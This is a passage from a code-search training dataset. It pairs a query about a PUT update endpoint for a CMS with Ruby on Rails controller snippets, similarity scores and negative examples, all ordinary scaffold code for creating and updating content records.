"def create\n @admin_site_structure = Admin::SiteStructure.new(admin_site_structure_params)\n\n respond_to do |format|\n if @admin_site_structure.save\n format.html { redirect_to @admin_site_structure, notice: 'Site structure was successfully created.' }\n format.json { render :show, status: :created, location: @admin_site_structure }\n else\n format.html { render :new }\n format.json { render json: @admin_site_structure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @static_content = StaticContent.new(static_content_params)\n\n respond_to do |format|\n if @static_content.save\n format.html { redirect_to @static_content, notice: \"Static content was successfully created.\" }\n format.json { render :show, status: :created, location: @static_content }\n else\n format.html { render :new }\n format.json { render json: @static_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def CreateLocale params = {}\n \n APICall(path: 'locales.json',method: 'POST',payload: params.to_json)\n \n end",
"def create\n content_admin = ContentAdmin.new(content_admin_params)\n content_admin.save\n @content = content_admin.content\n respond_to do |format|\n format.js\n end\n end",
"def new\n @structure_content = Structure::Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @structure_content }\n end\n end",
"def new\n @content_condo = ContentCondo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_condo }\n end\n end",
"def create\n @content = Content.new(content_params)\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to '/'}\n format.json { render json: {location: '/'}, status: :created }\n else\n format.html { render :new }\n format.json { render json: {errors: @content.errors} }\n end\n end\n end",
"def create\n @mircopost = Mircopost.new(mircopost_params)\n\n respond_to do |format|\n if @mircopost.save\n format.html { redirect_to @mircopost, notice: 'Mircopost was successfully created.' }\n format.json { render :show, status: :created, location: @mircopost }\n else\n format.html { render :new }\n format.json { render json: @mircopost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(params[:content])\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to @content, :notice => 'Content was successfully created.' }\n format.json { render :json => @content, :status => :created, :location => @content }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @content.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @mysite = Mysite.new(mysite_params)\n\n respond_to do |format|\n if @mysite.save\n format.html { redirect_to @mysite, notice: 'Mysite was successfully created.' }\n format.json { render :show, status: :created, location: @mysite }\n else\n format.html { render :new }\n format.json { render json: @mysite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pages_article = PagesArticle.new(params[:pages_article])\n\n respond_to do |format|\n if @pages_article.save\n format.html { redirect_to @pages_article, notice: 'Pages article was successfully created.' }\n format.json { render json: @pages_article, status: :created, location: @pages_article }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pages_article.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @pages_article = PagesArticle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pages_article }\n end\n end",
"def create\n @manage_section = Manage::Section.new(manage_section_params)\n\n respond_to do |format|\n if @manage_section.save\n format.html { redirect_to manage_compete_url(@compete), notice: 'Section was successfully created.' }\n format.json { render :show, status: :created, location: @manage_section }\n else\n format.html { render :new }\n format.json { render json: @manage_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publish_form\n form_data = params.require(:form).permit(:id)\n\n render json: Form.publish_form(form_data[:id], current_user[\"id\"])\n end",
"def create\n @content_form = ContentForm.new(params[:content_form])\n\n respond_to do |format|\n if @content_form.save\n format.html { redirect_to @content_form, notice: 'Content form was successfully created.' }\n format.json { render json: @content_form, status: :created, location: @content_form }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_theme = current_portal.themes.build(cms_theme_params)\n\n respond_to do |format|\n if @cms_theme.save\n format.html { redirect_to cms_themes_path, notice: \"Theme #{@cms_theme.name} was successfully created.\" }\n format.json { render :index, status: :created, location: @cms_theme }\n else\n format.html { render :new }\n format.json { render json: @cms_theme.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content_item_condo = ContentItemCondo.new(params[:content_item_condo])\n\n respond_to do |format|\n if @content_item_condo.save\n format.html { redirect_to @content_item_condo, notice: 'Content item condo was successfully created.' }\n format.json { render json: @content_item_condo, status: :created, location: @content_item_condo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content_item_condo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cms_attachment = current_portal.cms_attachments.build(cms_attachment_params)\n\n respond_to do |format|\n if @cms_attachment.save\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @cms_attachment }\n else\n format.html { render :new }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n params[:static_content][:name] = get_clean_name(params[:static_content][:name])\n\n @static_content = StaticContent.new(params[:static_content])\n\n respond_to do |format|\n if @static_content.save\n format.html { redirect_to @static_content, notice: 'Static content was successfully created.' }\n format.json { render json: @static_content, status: :created, location: @static_content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @static_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content_translation = ContentTranslation.new(params[:content_translation])\n\n respond_to do |format|\n if @content_translation.save\n format.html { redirect_to @content_translation, notice: 'Content translation was successfully created.' }\n format.json { render json: @content_translation, status: :created, location: @content_translation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content_translation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @page = Page.new(params[:page])\n \n\n respond_to do |format|\n if @page.save\n @page.update_attribute('published_at', Time.now) if params[:commit] == 'Publish'\n \n if params[:commit] == 'Publish'\n format.html { redirect_to root_page_path(@page), notice: 'Page was successfully published.' }\n else\n format.html { redirect_to edit_page_path(@page), notice: 'Page was successfully created.' }\n end\n format.json { render json: @page, status: :created, location: @page, :only => [:title, :content] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def create\n puts management_params\n @management = Management.new(management_params)\n if @management.save\n render json: @management, status: :created\n else \n render json: @management.errors, status: :unprocessable_entity\n end\n end",
"def new\n @publish = Publish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publish }\n end\n end",
"def create\n @news = New.new(news_params)\n\n if @news.save\n render json: @news, status: :created\n else\n render json: @news.errors, status: :unprocessable_entity\n end\n end",
"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def create\n @microsite = Microsite.new(microsite_params)\n\n respond_to do |format|\n if @microsite.save\n format.html { redirect_to @microsite, notice: 'Microsite was successfully created.' }\n format.json { render action: 'show', status: :created, location: @microsite }\n else\n format.html { render action: 'new' }\n format.json { render json: @microsite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(params[:content])\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to @content, notice: 'Content was successfully created.' }\n format.json { render json: @content, status: :created, location: @content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(params[:content])\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to @content, notice: 'Content was successfully created.' }\n format.json { render json: @content, status: :created, location: @content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(params[:content])\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to @content, notice: 'Content was successfully created.' }\n format.json { render json: @content, status: :created, location: @content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/configs/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"def create\n @content_manager = BigCms::ContentManager.new(params[:big_cms_content_manager])\n\n respond_to do |format|\n if @content_manager.save\n format.html { redirect_to(@content_manager, :notice => 'Content manager was successfully created.') }\n format.xml { render :xml => @content_manager, :status => :created, :location => @content_manager }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @content_manager.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @site = Site.new(site_params)\n @site.user_id = current_user.id if current_user\n @site.member_id = current_member.id if current_member\n @site.typo = ['personal', 'business'].delete(params[:typo].to_s.downcase) || 'personal'\n\n respond_to do |format|\n if @site.save!\n if params[:typo] == 'business'\n @site.site_payment.price = ENV[\"PRICE_BUSINESS\"]\n @site.site_payment.save!\n end\n if @site.template.property == 'free'\n @site.set_free\n end\n #build site_page via template_page\n Templates::Page.where(template_id: @site.template_id).order(\"position ASC\").each do |temp_page|\n @site.site_pages.create(\n site_id: @site.id, \n template_page_id: temp_page.id,\n title: temp_page.title)\n end\n #add a comment\n SiteComment.create(site_id: @site.id, name: '维斗喜帖', content: '小维斗来过,提前送上一声祝福~')\n \n #send notice to admin\n # if Rails.env == 'production'\n # SmsSendWorker.perform_async(ENV['ADMIN_PHONE'].split('|').join(','), \"#{@site.user.try(:email) || @site.member.try(:auth_id)}创建了应用:#{get_site_url(@site)}\")\n # end\n #redirect\n format.html { redirect_to site_site_steps_path(@site), notice: t('notice.site.created') }\n format.json { render action: 'show', status: :created, location: @site }\n else\n format.html { render action: 'new' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @content_item_condo = ContentItemCondo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_item_condo }\n end\n end",
"def create\n @content = Content.new(content_params)\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to edit_content_path(@content), notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @content }\n else\n format.html { render :new }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content_condo = ContentCondo.new(params[:content_condo])\n\n respond_to do |format|\n if @content_condo.save\n format.html { redirect_to @content_condo, notice: 'Content condo was successfully created.' }\n format.json { render json: @content_condo, status: :created, location: @content_condo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content_condo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_page\n puts 'params = ' + params.inspect\n puts params[:content_page].inspect\n puts params[:content_page['name']].inspect\n @page = ContentPage.new(params[:content_page])\n puts '@page = ' + @page.inspect\n\n respond_to do |format|\n if @page.save\n format.html { redirect_to show_content_pages_path(@page.id), notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created }\n else\n format.html { render :controller => 'content_pages', action: \"new\", alert: 'There were Errors. Could not Create a New Page.' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @o_single = Content.new(content_params)\n\n respond_to do |format|\n if @o_single.save\n format.html { redirect_to contents_url, notice: t(\"general.successfully_created\") }\n format.json { render action: 'show', status: :created, location: @o_single }\n else\n format.html { render action: 'new' }\n format.json { render json: @o_single.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @page = Page.new(params[:page])\n\n respond_to do |format|\n if @page.save\n @contribution = @page.contributions.build(:user_id => current_user.id)\n @contribution.save\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created, location: @page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @micorpost = Micorpost.new(params[:micorpost])\n\n respond_to do |format|\n if @micorpost.save\n format.html { redirect_to @micorpost, notice: 'Micorpost was successfully created.' }\n format.json { render json: @micorpost, status: :created, location: @micorpost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @micorpost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @cms_pages = CmsPage.all\n end",
"def new\n @micorpost = Micorpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @micorpost }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @content }\n end\n end",
"def cms_text_params\n params.require(:cms_text).permit(:position, :title, :body)\n end",
"def create\n \tif logged_in?\n params[:post][:user_id] = current_user.id\n @post = Post.new(post_params)\n if @post.save\n puts @post.published\n render json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @page_layout = PageLayout.new(params[:page_layout].permit(:content_type, :name, :num_panels, :html_content, :preview_content))\n\n respond_to do |format|\n if @page_layout.save\n format.html { redirect_to @page_layout, notice: 'Page layout was successfully created.' }\n format.json { render json: @page_layout, status: :created, location: @page_layout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_layout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @digital_content = DigitalContent.new(params[:digital_content])\n\n respond_to do |format|\n if @digital_content.save\n format.html { redirect_to @digital_content, notice: 'Digital content was successfully created.' }\n format.json { render json: @digital_content, status: :created, location: @digital_content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @digital_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @mwod_post = MwodPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mwod_post }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def create\n @content_datum = ContentDatum.new(params[:content_datum])\n\n respond_to do |format|\n if @content_datum.save\n format.html { redirect_to @content_datum, notice: 'Content datum was successfully created.' }\n format.json { render json: @content_datum, status: :created, location: @content_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @digital_content = DigitalContent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @digital_content }\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to magazine_post_path(@post.short_url), notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\", layout: \"editor\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(content_params)\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to @content, notice: 'Content was successfully created.' }\n format.json { render :show, status: :created, location: @content }\n else\n format.html { render :new }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @site = Site.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def create\n @content = Content.new(params[:content])\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to contents_path, notice: 'Content was successfully created.' }\n format.json { render json: @content, status: :created, location: @content }\n else\n format.html { render action: \"new\" }\n format.json { render json: @content.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def create\n render json: generate_content_item_data(\"fake_id\", params[:content_item_return_url], params[:content_item])\n end",
"def new\n @published = Published.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @published }\n end\n end",
"def create\n @mwod_post = MwodPost.new(params[:mwod_post])\n\n respond_to do |format|\n if @mwod_post.save\n format.html { redirect_to @mwod_post, notice: 'Mwod post was successfully created.' }\n format.json { render json: @mwod_post, status: :created, location: @mwod_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mwod_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @content_item = ContentItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_item }\n end\n end",
"def new\n @content_datum = ContentDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_datum }\n end\n end",
"def create\n @page = Page.new(page_params)\n\n if @page.save\n render json: @page, status: :created, location: @page\n else\n render json: @page.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n\n\n @about = About.new(about_params)\n respond_to do |format|\n if @about.save\n format.html { redirect_to adminabouts_path, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @adminabout }\n else\n format.html { render :new }\n format.json { render json: @adminabout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_news = Admin::News.new(admin_news_params)\n\n respond_to do |format|\n if @admin_news.save\n format.html { redirect_to session['previous_url'] || admin_news_index_url, notice: 'News è stato creato con successo.' }\n format.json { render :show, status: :created, location: @admin_news }\n else\n format.html { render :new }\n format.json { render json: @admin_news.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n\n #section_chunks = get_chunks(params)\n sections = JSON.parse(params['sections'])\n\n # The course has been created by the signed-in user.\n @course.user_id = current_user.id\n respond_to do |format|\n if @course.save\n # Save the course's subcomponents to the course.\n update_section_chunks(sections)\n\n format.html { redirect_to @course }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render new_course_path }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @content = Content.new(content_params)\n\n respond_to do |format|\n if @content.save\n format.html { redirect_to @content.metamorphosize, notice: 'Content was successfully created.' }\n format.json { render :show, status: :created, location: @content.metamorphosize }\n else\n format.html { render :new }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.64834964",
"0.63998115",
"0.61314774",
"0.5810777",
"0.5799501",
"0.57874966",
"0.57684714",
"0.5724294",
"0.5698191",
"0.5675777",
"0.56578356",
"0.56166327",
"0.5580794",
"0.55416936",
"0.5536756",
"0.5519746",
"0.5513732",
"0.55096245",
"0.5503751",
"0.5465793",
"0.5460498",
"0.54548615",
"0.544574",
"0.54437774",
"0.5434705",
"0.5429768",
"0.5413352",
"0.54055357",
"0.5394869",
"0.5388281",
"0.5361597",
"0.5357968",
"0.5357841",
"0.5353769",
"0.5343729",
"0.5342416",
"0.5334184",
"0.5322306",
"0.53216714",
"0.53210217",
"0.53083205",
"0.5306228",
"0.5300633",
"0.5300176",
"0.52938247",
"0.52937734",
"0.52908313",
"0.52872974",
"0.52806234",
"0.52806234",
"0.52806234",
"0.52806234",
"0.52806234",
"0.52806234",
"0.5278816",
"0.5277618",
"0.52756083",
"0.5275347",
"0.52694917",
"0.52688825",
"0.52688825",
"0.52688825",
"0.52666575",
"0.5259348",
"0.52536297",
"0.52504206",
"0.5246719",
"0.52432",
"0.5239764",
"0.5233189",
"0.52328795",
"0.52273154",
"0.52253294",
"0.5223435",
"0.52230185",
"0.52218634",
"0.5211149",
"0.5209469",
"0.5205977",
"0.51983577",
"0.5198222",
"0.5198222",
"0.5198222",
"0.5198222",
"0.51940954",
"0.5193559",
"0.5192864",
"0.51919824",
"0.51914406",
"0.5187314",
"0.5179609",
"0.5178386",
"0.51736486",
"0.51724327",
"0.5171259",
"0.51684374",
"0.5166201",
"0.51613235",
"0.5154983",
"0.51513016"
] | 0.5150945 | 100 |
PUT /cms/1 PUT /cms/1.json | def update
@cm = Cm.find(params[:id])
respond_to do |format|
if @cm.update_attributes(params[:cm])
format.html { redirect_to @cm, notice: 'Cm was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @cm.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @cms_page.update(cms_page_params)\n format.html { redirect_to @cms_page, notice: 'Cms page was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_page }\n else\n format.html { render :edit }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_page.update(cms_page_params)\n format.html { redirect_to @cms_page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_page }\n else\n format.html { render :edit }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = current_cms.pages.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:big_cms_page])\n format.html { render :action => \"edit\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_cms_site\n @cms_site = ::Cms::Site.find(params[:id])\n end",
"def update\n @cms_page = CmsPage.find(params[:id])\n params[:cms_page][:parent_id] = 0 if params[:cms_page][:parent_id].blank?\n respond_to do |format|\n if @cms_page.update_attributes(params[:cms_page])\n expire_page \"/#{@cms_page.path}\"\n flash[:notice] = 'CMS Page was successfully updated.'\n format.html { redirect_to(['admin', @cms_page]) }\n format.xml { head :ok }\n else\n\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cms_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_page_section.update(cms_page_section_params)\n format.html { redirect_to @cms_page_section, notice: 'Page section was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_page_section }\n else\n format.html { render :edit }\n format.json { render json: @cms_page_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_page.update(cms_page_params)\n if @cms_page.page_type == \"Template\"\n\t format.html { redirect_to :action => \"add_content\", :id => @cms_page.id, notice: 'Page was successfully updated.' }\n\t else \n\t \tformat.html { redirect_to @cms_page, notice: 'Page was successfully updated.' }\n\t end\n format.json { render :show, status: :ok, location: @cms_page }\n else\n format.html { render :edit }\n format.json { render json: @cms_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @structure_content = Structure::Content.find(params[:id])\n\n respond_to do |format|\n if @structure_content.update_attributes(params[:structure_content])\n format.html { redirect_to @structure_content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @structure_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site.update(cms_site_params)\n\n format.html { redirect_to cms.sites_url, notice: '站点已修改.' }\n format.json { head :no_content }\n else\n @cms_theme = Cms::Theme.all\n format.html { render action: 'edit' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caso.update_attributes(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find_by_id(params[:id])\n if @content.update_attributes(:name=>params[:body][:name],:description=>params[:body][:description])\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@content.errors)\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n if @content.update(content_params)\n head :no_content\n else\n render json: @content.errors, status: :unprocessable_entity\n end\n end",
"def update\n @content_manager = BigCms::ContentManager.find(params[:id])\n\n respond_to do |format|\n if @content_manager.update_attributes(params[:big_cms_content_manager])\n format.html { redirect_to(@content_manager, :notice => 'Content manager was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @content_manager.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_content(params)\n put(set_path(params[:id]), params) if validate_params(params)\n end",
"def update\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n if @cso.update_attributes(params[:cso])\n format.html { redirect_to @cso, notice: 'Cso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cms_text\n @cms_text = CmsText.find(params[:id])\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n @static_content = StaticContent.find(params[:id])\n\n params[:static_content][:name] = get_clean_name(params[:static_content][:name])\n\n respond_to do |format|\n if @static_content.update_attributes(params[:static_content])\n format.html { redirect_to @static_content, notice: 'Static content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @static_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def update\n respond_to do |format|\n format.html { redirect_to controller: \"sites\", action: \"checklists_manager\" }\n format.json { head :no_content }\n end\n end",
"def update\n @component = service.components.find_by!(slug: params[:id])\n\n if @component.update(component_params)\n head :no_content\n else\n render json: @component.errors, status: :unprocessable_entity\n end\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @o_single.update(content_params)\n format.html { redirect_to contents_url, notice: t(\"general.successfully_updated\") }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @o_single.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @news.title = news_params[\"title\"]\n @news.content = news_params[\"content\"]\n @news.user_id = @current_user.id\n if @news.save\n format.html { redirect_to @news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n end\n end\n end",
"def update\n @microsite = Microsite.find(params[:id])\n @microsites = Microsite.where(\"id != ?\",@microsite.id)\n @categories = Category.all\n respond_to do |format|\n if @microsite.update_attributes(params[:microsite])\n format.html { redirect_to admins_microsite_path(@microsite, :notice => 'Microsite was successfully updated.') }\n format.xml { head :ok }\n else\n build_microsite(@microsite)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @microsite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @site_editorial.update(site_editorial_params)\n format.html { redirect_to @site_editorial, notice: 'Site editorial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site_editorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @about.update(about_params)\n format.html { redirect_to admin_abouts_path, notice: 'about was successfully updated.' }\n format.json { render :show, status: :ok, location: @about }\n else\n format.html { render :edit }\n format.json { render json: @about.errors, status: :unprocessable_entity }\n end\n end\nend",
"def update\n @slab = Slab.find(params[:id])\n\n respond_to do |format|\n if @slab.update_attributes(params[:slab])\n format.html { redirect_to @slab, :notice => 'Slab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @slab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end",
"def set_cms_page\n begin\n @cms_page = CmsPage.cached_find(params[:id])\n rescue\n not_found\n end\n end",
"def update\n respond_to do |format|\n if @caso.update(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { render :show, status: :ok, location: @caso }\n else\n format.html { render :edit }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n if @sistema.update_attributes(params[:sistema])\n format.html { redirect_to @sistema, notice: 'Sistema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cms_contact\n @cms_contact = CmsContact.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @seo.update(seo_params)\n format.html { redirect_to @seo, notice: 'Seo was successfully updated.' }\n format.json { render :show, status: :ok, location: @seo }\n else\n format.html { render :edit }\n format.json { render json: @seo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @system_news, :update?\n respond_to do |format|\n if @system_news.update(system_news_params)\n format.html { redirect_to @system_news, notice: 'News was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_news.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop_claim = ShopClaim.find(params[:id])\n\n if @shop_claim.update(shop_claim_params)\n head :no_content\n else\n render json: @shop_claim.errors, status: :unprocessable_entity\n end\n end",
